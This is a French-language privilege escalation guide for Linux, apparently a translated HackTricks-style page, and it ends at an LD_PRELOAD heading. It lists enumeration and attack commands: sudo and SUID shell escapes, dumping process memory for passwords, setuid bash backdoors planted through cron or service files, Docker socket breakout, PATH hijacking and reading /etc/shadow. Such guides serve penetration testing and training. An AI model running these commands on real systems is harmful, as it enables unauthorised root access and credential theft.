Escalade de privilèges Linux

Reading time: 61 minutes

Informations système

Informations sur le système d'exploitation

Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Chemin

Si vous avez des permissions d'écriture sur un dossier à l'intérieur de la variable PATH, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires :

echo $PATH

Infos sur l'environnement

Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ?

(env || set) 2>/dev/null

Exploits du noyau

Vérifiez la version du noyau et s'il existe un exploit qui peut être utilisé pour élever les privilèges.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques exploits compilés ici : https://github.com/lucyoa/kernel-exploits et exploitdb sploits.
D'autres sites où vous pouvez trouver des exploits compilés : https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Pour extraire toutes les versions de noyau vulnérables de ce site, vous pouvez faire :

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Les outils qui pourraient aider à rechercher des exploits de noyau sont :

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (exécutez DANS la victime, vérifie uniquement les exploits pour le noyau 2.x)

Toujours recherchez la version du noyau sur Google, peut-être que votre version du noyau est mentionnée dans un exploit de noyau et alors vous serez sûr que cet exploit est valide.

CVE-2016-5195 (DirtyCow)

Escalade de privilèges Linux - Noyau Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Version de Sudo

Basé sur les versions vulnérables de sudo qui apparaissent dans :

searchsploit sudo

Vous pouvez vérifier si la version de sudo est vulnérable en utilisant ce grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

De @sickrov

sudo -u#-1 /bin/bash

Dmesg signature verification failed

Vérifiez la boîte smasher2 de HTB pour un exemple de la façon dont cette vulnérabilité pourrait être exploitée.

dmesg 2>/dev/null | grep "signature"

Plus d'énumération système

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Énumérer les défenses possibles

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Si vous êtes à l'intérieur d'un conteneur docker, vous pouvez essayer d'en sortir :

Docker Security

Drives

Vérifiez ce qui est monté et démonté, où et pourquoi. Si quelque chose est démonté, vous pourriez essayer de le monter et de vérifier les informations privées.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Logiciels utiles

Énumérer les binaires utiles

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Vérifiez également si un compilateur est installé. Cela est utile si vous devez utiliser une exploitation de noyau, car il est recommandé de la compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Logiciels vulnérables installés

Vérifiez la version des paquets et services installés. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…
Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects.

dpkg -l #Debian
rpm -qa #Centos

Si vous avez un accès SSH à la machine, vous pouvez également utiliser openVAS pour vérifier les logiciels obsolètes et vulnérables installés sur la machine.

[!NOTE] > Notez que ces commandes afficheront beaucoup d'informations qui seront principalement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus.

Processes

Jetez un œil à quels processus sont en cours d'exécution et vérifiez si un processus a plus de privilèges qu'il ne devrait (peut-être un tomcat exécuté par root ?)

ps aux
ps -ef
top -n 1

Vérifiez toujours les [débogueurs electron/cef/chromium] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). Linpeas les détecte en vérifiant le paramètre --inspect dans la ligne de commande du processus.
Vérifiez également vos privilèges sur les binaires des processus, peut-être pouvez-vous écraser quelqu'un.

Surveillance des processus

Vous pouvez utiliser des outils comme pspy pour surveiller les processus. Cela peut être très utile pour identifier les processus vulnérables exécutés fréquemment ou lorsque un ensemble de conditions est rempli.

Mémoire des processus

Certains services d'un serveur enregistrent des identifiants en texte clair dans la mémoire.
Normalement, vous aurez besoin de privilèges root pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir plus d'identifiants.
Cependant, rappelez-vous que en tant qu'utilisateur régulier, vous pouvez lire la mémoire des processus que vous possédez.

GDB

Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pourriez obtenir le Heap et rechercher à l'intérieur de ses identifiants.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script GDB

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Pour un identifiant de processus donné, maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus ; il montre également les permissions de chaque région mappée. Le fichier pseudo mem expose la mémoire des processus elle-même. À partir du fichier maps, nous savons quelles régions de mémoire sont lisibles et leurs décalages. Nous utilisons ces informations pour chercher dans le fichier mem et déverser toutes les régions lisibles dans un fichier.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fournit un accès à la mémoire physique du système, et non à la mémoire virtuelle. L'espace d'adresses virtuelles du noyau peut être accédé en utilisant /dev/kmem.
Typiquement, /dev/mem est uniquement lisible par root et le groupe kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump pour linux

ProcDump est une réinvention de Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Obtenez-le sur https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Outils

Pour extraire la mémoire d'un processus, vous pouvez utiliser :

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Vous pouvez supprimer manuellement les exigences root et extraire le processus qui vous appartient
• Script A.5 de https://www.delaat.net/rp/2016-2017/p97/report.pdf (root est requis)

Identifiants à partir de la mémoire du processus

Exemple manuel

Si vous constatez que le processus d'authentification est en cours d'exécution :

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Vous pouvez extraire le processus (voir les sections précédentes pour trouver différentes façons d'extraire la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire :

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

L'outil https://github.com/huntergregal/mimipenguin va voler des identifiants en texte clair depuis la mémoire et depuis certains fichiers bien connus. Il nécessite des privilèges root pour fonctionner correctement.

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Tâches planifiées/Cron

Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Chemin Cron

Par exemple, à l'intérieur de /etc/crontab, vous pouvez trouver le PATH : PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Remarquez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user)

Si à l'intérieur de ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : * * * * root overwrite.sh
Alors, vous pouvez obtenir un shell root en utilisant :

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron utilisant un script avec un caractère générique (Injection de caractère générique)

Si un script exécuté par root contient un “*” à l'intérieur d'une commande, vous pourriez en profiter pour provoquer des choses inattendues (comme une élévation de privilèges). Exemple :

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Si le caractère générique est précédé d'un chemin comme /some/path/* , il n'est pas vulnérable (même ./* ne l'est pas).

Lisez la page suivante pour plus d'astuces d'exploitation de caractères génériques :

Wildcards Spare tricks

Écrasement de script Cron et symlink

Si vous pouvez modifier un script Cron exécuté par root, vous pouvez obtenir un shell très facilement :

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Si le script exécuté par root utilise un répertoire où vous avez un accès total, il pourrait être utile de supprimer ce dossier et de créer un dossier de symlink vers un autre servant un script contrôlé par vous.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Tâches cron fréquentes

Vous pouvez surveiller les processus pour rechercher des processus qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être que vous pouvez en profiter et élever les privilèges.

Par exemple, pour surveiller toutes les 0,1s pendant 1 minute, trier par les commandes les moins exécutées et supprimer les commandes qui ont été exécutées le plus, vous pouvez faire :

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Vous pouvez également utiliser pspy (cela surveillera et listera chaque processus qui démarre).

Tâches cron invisibles

Il est possible de créer une tâche cron en mettant un retour chariot après un commentaire (sans caractère de nouvelle ligne), et la tâche cron fonctionnera. Exemple (notez le caractère de retour chariot) :

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Services

Fichiers .service modifiables

Vérifiez si vous pouvez écrire dans un fichier .service, si c'est le cas, vous pourriez le modifier pour qu'il exécute votre backdoor lorsque le service est démarré, redémarré ou arrêté (vous devrez peut-être attendre que la machine redémarre).
Par exemple, créez votre backdoor à l'intérieur du fichier .service avec ExecStart=/tmp/script.sh

Binaires de service modifiables

Gardez à l'esprit que si vous avez des permissions d'écriture sur des binaires exécutés par des services, vous pouvez les remplacer par des backdoors, de sorte que lorsque les services sont réexécutés, les backdoors seront exécutées.

systemd PATH - Chemins relatifs

Vous pouvez voir le PATH utilisé par systemd avec :

systemctl show-environment

Si vous constatez que vous pouvez écrire dans l'un des dossiers du chemin, vous pourriez être en mesure d'escalader les privilèges. Vous devez rechercher des chemins relatifs utilisés dans les fichiers de configuration des services comme :

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Ensuite, créez un exécutable avec le même nom que le binaire du chemin relatif dans le dossier PATH de systemd où vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (Démarrer, Arrêter, Recharger), votre backdoor sera exécutée (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser sudo -l).

En savoir plus sur les services avec man systemd.service.

Timers

Les Timers sont des fichiers d'unité systemd dont le nom se termine par **.timer** qui contrôlent les fichiers ou événements **.service**. Les Timers peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone.

Vous pouvez énumérer tous les timers avec :

systemctl list-timers --all

Timers modifiables

Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un .service ou un .target)

Unit=backdoor.service

Dans la documentation, vous pouvez lire ce qu'est l'unité :

L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés de manière identique, sauf pour le suffixe.

Par conséquent, pour abuser de cette permission, vous devez :

• Trouver une unité systemd (comme un .service) qui exécute un binaire modifiable
• Trouver une unité systemd qui exécute un chemin relatif et sur laquelle vous avez des privilèges d'écriture sur le PATH systemd (pour usurper cet exécutable)

En savoir plus sur les minuteurs avec man systemd.timer.

Activation du Minuteur

Pour activer un minuteur, vous avez besoin de privilèges root et d'exécuter :

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Notez que le timer est activé en créant un lien symbolique vers celui-ci dans /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Les Unix Domain Sockets (UDS) permettent la communication entre processus sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateur et sont configurés via des fichiers .socket.

Les sockets peuvent être configurés à l'aide de fichiers .socket.

En savoir plus sur les sockets avec man systemd.socket. Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés :

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction : Ces options sont différentes mais un résumé est utilisé pour indiquer où il va écouter le socket (le chemin du fichier socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.)
• Accept : Prend un argument booléen. Si vrai, une instance de service est créée pour chaque connexion entrante et seul le socket de connexion lui est passé. Si faux, tous les sockets d'écoute eux-mêmes sont passés à l'unité de service démarrée, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. Par défaut, c'est faux. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière qui convient à Accept=no.
• ExecStartPre, ExecStartPost : Prend une ou plusieurs lignes de commande, qui sont exécutées avant ou après que les sockets/FIFOs d'écoute soient créés et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi d'arguments pour le processus.
• ExecStopPre, ExecStopPost : Commandes supplémentaires qui sont exécutées avant ou après que les sockets/FIFOs d'écoute soient fermés et supprimés, respectivement.
• Service : Spécifie le nom de l'unité de service à activer sur le trafic entrant. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il par défaut au service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option.

Fichiers .socket écrits

Si vous trouvez un fichier .socket écrit, vous pouvez ajouter au début de la section [Socket] quelque chose comme : ExecStartPre=/home/kali/sys/backdoor et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez probablement attendre que la machine redémarre.
Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée

Sockets écrits

Si vous identifiez un socket écrivable (nous parlons maintenant des Sockets Unix et non des fichiers de config .socket), alors vous pouvez communiquer avec ce socket et peut-être exploiter une vulnérabilité.

Énumérer les Sockets Unix

netstat -a -p --unix

Connexion brute

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

Sockets HTTP

Notez qu'il peut y avoir des sockets écoutant les requêtes HTTP (Je ne parle pas des fichiers .socket mais des fichiers agissant comme des sockets unix). Vous pouvez vérifier cela avec :

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Si le socket répond avec une requête HTTP, alors vous pouvez communiquer avec lui et peut-être exploiter une vulnérabilité.

Socket Docker Écrivable

Le socket Docker, souvent trouvé à /var/run/docker.sock, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur root et les membres du groupe docker. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible.

Élévation de Privilèges avec Docker CLI

Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes :

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Ces commandes vous permettent d'exécuter un conteneur avec un accès au niveau root au système de fichiers de l'hôte.

Utilisation directe de l'API Docker

Dans les cas où le Docker CLI n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes curl.

1. Lister les images Docker : Récupérer la liste des images disponibles.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Créer un conteneur : Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Démarrer le conteneur nouvellement créé :

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Se connecter au conteneur : Utiliser socat pour établir une connexion au conteneur, permettant l'exécution de commandes à l'intérieur.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Après avoir configuré la connexion socat, vous pouvez exécuter des commandes directement dans le conteneur avec un accès au niveau root au système de fichiers de l'hôte.

Autres

Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes dans le groupe docker, vous avez plus de façons d'escalader les privilèges. Si l'API docker écoute sur un port, vous pouvez également être en mesure de la compromettre.

Vérifiez plus de façons de sortir de docker ou de l'abuser pour escalader les privilèges dans :

Docker Security

Escalade de privilèges Containerd (ctr)

Si vous constatez que vous pouvez utiliser la commande ctr, lisez la page suivante car vous pourriez être en mesure de l'abuser pour escalader les privilèges :

Containerd (ctr) Privilege Escalation

Escalade de privilèges RunC

Si vous constatez que vous pouvez utiliser la commande runc, lisez la page suivante car vous pourriez être en mesure de l'abuser pour escalader les privilèges :

RunC Privilege Escalation

D-Bus

D-Bus est un système de communication inter-processus (IPC) sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications.

Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les sockets de domaine UNIX améliorés. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes.

D-Bus fonctionne sur un modèle d'autorisation/refus, gérant les permissions de message (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges par l'exploitation de ces permissions.

Un exemple d'une telle politique dans /etc/dbus-1/system.d/wpa_supplicant.conf est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de fi.w1.wpa_supplicant1.

Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "par défaut" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Apprenez à énumérer et exploiter une communication D-Bus ici :

D-Bus Enumeration & Command Injection Privilege Escalation

Réseau

Il est toujours intéressant d'énumérer le réseau et de déterminer la position de la machine.

Énumération générique

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Ports ouverts

Vérifiez toujours les services réseau en cours d'exécution sur la machine avec laquelle vous n'avez pas pu interagir avant d'y accéder :

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Vérifiez si vous pouvez intercepter le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des identifiants.

timeout 1 tcpdump

Utilisateurs

Énumération Générique

Vérifiez qui vous êtes, quels privileges vous avez, quels utilisateurs sont dans les systèmes, lesquels peuvent se connecter et lesquels ont des privileges root :

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec UID > INT_MAX d'escalader les privilèges. Plus d'infos : ici, ici et ici.
Exploitez-le en utilisant : systemd-run -t /bin/bash

Groups

Vérifiez si vous êtes membre d'un groupe qui pourrait vous accorder des privilèges root :

Interesting Groups - Linux Privesc

Clipboard

Vérifiez si quelque chose d'intéressant se trouve dans le presse-papiers (si possible)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politique de mot de passe

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Mots de passe connus

Si vous connaissez un mot de passe de l'environnement, essayez de vous connecter en tant que chaque utilisateur en utilisant le mot de passe.

Su Brute

Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires su et timeout sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant su-bruteforce.
Linpeas avec le paramètre -a essaie également de forcer les mots de passe des utilisateurs.

Abus de PATH écrivable

$PATH

Si vous constatez que vous pouvez écrire dans un dossier du $PATH, vous pourriez être en mesure d'escalader les privilèges en créant une porte dérobée dans le dossier écrivable avec le nom d'une commande qui va être exécutée par un autre utilisateur (root idéalement) et qui n'est pas chargée depuis un dossier situé avant votre dossier écrivable dans le $PATH.

SUDO et SUID

Vous pourriez être autorisé à exécuter certaines commandes en utilisant sudo ou elles pourraient avoir le bit suid. Vérifiez-le en utilisant :

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Certaines commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande. Par exemple :

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

La configuration de Sudo peut permettre à un utilisateur d'exécuter certaines commandes avec les privilèges d'un autre utilisateur sans connaître le mot de passe.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

Dans cet exemple, l'utilisateur demo peut exécuter vim en tant que root, il est maintenant trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant sh.

sudo vim -c '!sh'

SETENV

Cette directive permet à l'utilisateur de définir une variable d'environnement lors de l'exécution de quelque chose :

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Cet exemple, basé sur la machine HTB Admirer, était vulnérable à l'attaque PYTHONPATH pour charger une bibliothèque python arbitraire tout en exécutant le script en tant que root :

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Sudo execution bypassing paths

Sauter pour lire d'autres fichiers ou utiliser des symlinks. Par exemple dans le fichier sudoers : hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Si un wildcard est utilisé (*), c'est encore plus facile :

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contre-mesures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Commande Sudo/Binaire SUID sans chemin de commande

Si la permission sudo est accordée à une seule commande sans spécifier le chemin : hacker10 ALL= (root) less, vous pouvez l'exploiter en changeant la variable PATH.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Cette technique peut également être utilisée si un suid binaire exécute une autre commande sans spécifier le chemin vers celle-ci (vérifiez toujours avec strings le contenu d'un binaire SUID étrange).

Exemples de payloads à exécuter.

Binaire SUID avec chemin de commande

Si le suid binaire exécute une autre commande en spécifiant le chemin, alors, vous pouvez essayer d'exporter une fonction nommée comme la commande que le fichier suid appelle.

Par exemple, si un binaire suid appelle /usr/sbin/service apache2 start, vous devez essayer de créer la fonction et de l'exporter :

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée

LD_PRELOAD & LD_LIBRARY_PATH

